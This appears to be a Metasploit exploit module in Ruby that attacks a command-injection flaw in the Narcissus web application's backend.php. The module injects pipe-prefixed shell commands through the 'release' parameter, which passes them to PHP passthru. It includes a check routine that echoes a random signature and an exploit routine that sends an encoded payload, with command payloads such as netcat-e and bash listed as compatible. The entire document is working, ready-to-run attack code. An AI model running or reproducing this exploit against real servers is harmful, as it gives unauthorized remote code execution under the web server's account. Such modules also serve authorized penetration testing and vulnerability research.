Narcissus Image Configuration Passthru

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Narcissus Image Configuration Passthru Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability found in Narcissus image configuration  
function. This is due to the backend.php file not handling the $release parameter  
properly, and then passes it on to the configure_image() function. In this  
function, the $release parameter can be used to inject system commands for  
passthru (a PHP function that's meant to be used to run a bash script by the  
vulnerable application), which allows remote code execution under the context  
of the web server.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Dun', #Original  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
[ 'EDB', '22709' ],  
[ 'BID', '87410' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0d\x0a"  
},  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby python bash netcat-e'  
},  
'Targets' =>  
[  
['Narcissus', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Nov 14 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/'])  
], self.class)  
end  
  
def base  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
return uri  
end  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
def remote_exe(command)  
res = send_request_cgi({  
'uri' => "#{base}backend.php",  
'method' => 'POST',  
'encode_params' => false,  
'vars_post' => {  
'machine' => '0',  
'action' => 'configure_image',  
'release' => "|#{command}"  
}  
})  
  
vprint_line(res.body) if res  
return res  
end  
  
def check  
sig = rand_text_alpha(rand(10) + 5) #The string to check  
  
print_status("#{peer} - Looking for signature '#{sig}'...")  
res = remote_exe("echo #{sig}")  
  
if res and res.body =~ /#{sig}/  
print_status("#{peer} - Signature '#{sig}' found.")  
return Exploit::CheckCode::Vulnerable  
else  
print_status("#{peer} - Signature not found")  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status("#{peer} - Sending malicious request...")  
remote_exe(payload.encoded)  
end  
  
  
end  
`